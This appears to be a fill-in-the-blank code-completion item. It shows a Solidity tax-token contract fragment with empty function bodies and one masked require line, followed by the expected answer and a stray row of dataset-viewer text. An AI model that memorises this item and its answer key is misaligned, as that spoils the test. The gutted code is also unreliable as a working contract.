event RemoveTaxExcluded(address wallet);
event SetBuyRate(
uint256 buyMarketingRate,
uint256 buyLotteryRate,
uint256 buyAcapRate,
uint256 buyApadRate
);
event SetBuyTax(uint256 minimumBuyTax, uint256 buyTaxRange);
event SetLotteryWallet(address oldLotteryWallet, address newLotteryWallet);
event SetMarketingWallet(
address oldMarketingWallet,
address newMarketingWallet
);
event SetSellRates(
uint256 sellMarketingRate,
uint256 sellLotteryRate,
uint256 sellAcapRate,
uint256 sellApadRate
);
event SetSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund);
event SetTaxTiers(uint256 tier1, uint256 tier2);
event SetTieredTaxPercentages(uint256 multiplier1, uint256 multiplier2);
/// @notice Include an address to paying taxes
/// @param account The address that we want to start paying taxes
function removeTaxExcluded(address account) public onlyOwner {
}
/// @notice Change distribution of the buy taxes
/// @param _marketingRate The new marketing tax rate
/// @param _buyLotteryRate The new lottery tax rate
/// @param _buyAcapRate The new acap tax rate
/// @param _buyApadRate The new apad tax rate
function setBuyRates(
uint256 _marketingRate,
uint256 _buyLotteryRate,
uint256 _buyAcapRate,
uint256 _buyApadRate
) external onlyMultisig {
}
/// @notice Change the buy tax rate variables
/// @param _minimumTax The minimum tax on buys
/// @param _buyTaxRange The new range the buy tax is in [0 - _buyTaxRange]
function setBuyTax(uint256 _minimumTax, uint256 _buyTaxRange)
external
onlyOwner
{
}
/// @notice Change the address of the lottery wallet
/// @param _lotteryWallet The new address of the lottery wallet
function setLotteryWallet(address payable _lotteryWallet)
external
onlyMultisig
{
}
/// @notice Change the address of the marketing wallet
/// @param _marketingWallet The new address of the lottery wallet
function setMarketingWallet(address payable _marketingWallet)
external
onlyOwner
{
}
/// @notice Change the marketing and lottery rate on sells
/// @param _sellMarketingRate The new marketing tax rate
/// @param _sellLotteryRate The new treasury tax rate
function setSellRates(
uint256 _sellMarketingRate,
uint256 _sellLotteryRate,
uint256 _sellAcapRate,
uint256 _sellApadRate
) external onlyMultisig {
}
/// @notice Change the sell tax rate variables
/// @param _maximumSellTax The new minimum sell tax
/// @param _maximumSellTaxRefund The new range the sell tax is in [0 - _sellTaxRange]
function setSellTax(uint256 _maximumSellTax, uint256 _maximumSellTaxRefund)
external
onlyOwner
{
}
/// @notice Set the three different tax tiers by setting the highest bracket and the lower cutoff. Value multiplied by totalSupply divided by 10000. Example 50 = 5000000 tokens
function setTaxTiers(uint256[] memory _taxTiers) external onlyOwner {
}
/// @notice Set the three different tax tier percentages
function setTieredTaxPercentages(uint256[] memory _tieredPercentages)
external
onlyOwner
{
require(
_tieredPercentages.length == 3,
"you have to give an array with 3 values"
);
require(_tieredPercentages[0] <= 10);
require(<FILL_ME>)
require(_tieredPercentages[2] < 20);
tieredTaxPercentage[0] = _tieredPercentages[0];
tieredTaxPercentage[1] = _tieredPercentages[1];
tieredTaxPercentage[2] = _tieredPercentages[2];
}
/// @notice Exclude an address from paying taxes
/// @param account The address that we want to exclude from taxes
function addTaxExcluded(address account) public onlyOwner {
}
/// @notice Get if an account is excluded from paying taxes
/// @param account The address that we want to get the value for
/// @return taxExcluded Boolean that tells if an address has to pay taxes
function isTaxExcluded(address account)
public
view
returns (bool taxExcluded)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount to tax in wei
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return buyTax the tax percentage that the user pays on buy
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getBuyTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 buyTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being seend
/// @param user the address for which to generate a random number
/// @return buyTaxPercentage
function _getBuyTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 buyTaxPercentage)
{
}
/// @notice get the tier for the buy tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getBuyTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount The amount that is being transfered.
/// @param user the address for which to generate a random number
/// @return send The raw amount to send
/// @return totalTax the total taxes on the sell tx
/// @return marketing The raw marketing tax amount
/// @return lottery The raw lottery tax amount
/// @return acap the raw acap tax amount
/// @return apad the raw apad tax amount
function _getSellTaxInfo(uint256 amount, address user)
internal
view
returns (
uint256 send,
uint256 totalTax,
uint256 marketing,
uint256 lottery,
uint256 acap,
uint256 apad
)
{
}
/// @notice get the tier for the sell tax based on the amount of tokens bought
/// @param amount the amount of tokens bought
/// @return taxTier the multiplier that corresponds to the tax tier
function _getSellTaxTier(uint256 amount)
internal
view
returns (uint256 taxTier)
{
}
/// @notice Get a breakdown of send and tax amounts
/// @param amount the amount that is being send. Will be used to generate a more difficult pseudo random number
/// @param user the address for which to generate a random number
/// @return sellTaxPercentage
function _getSellTaxPercentage(uint256 amount, address user)
internal
view
returns (uint256 sellTaxPercentage)
{
}
}
| _tieredPercentages[1]==10 | 245,575 | _tieredPercentages[1]==10 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.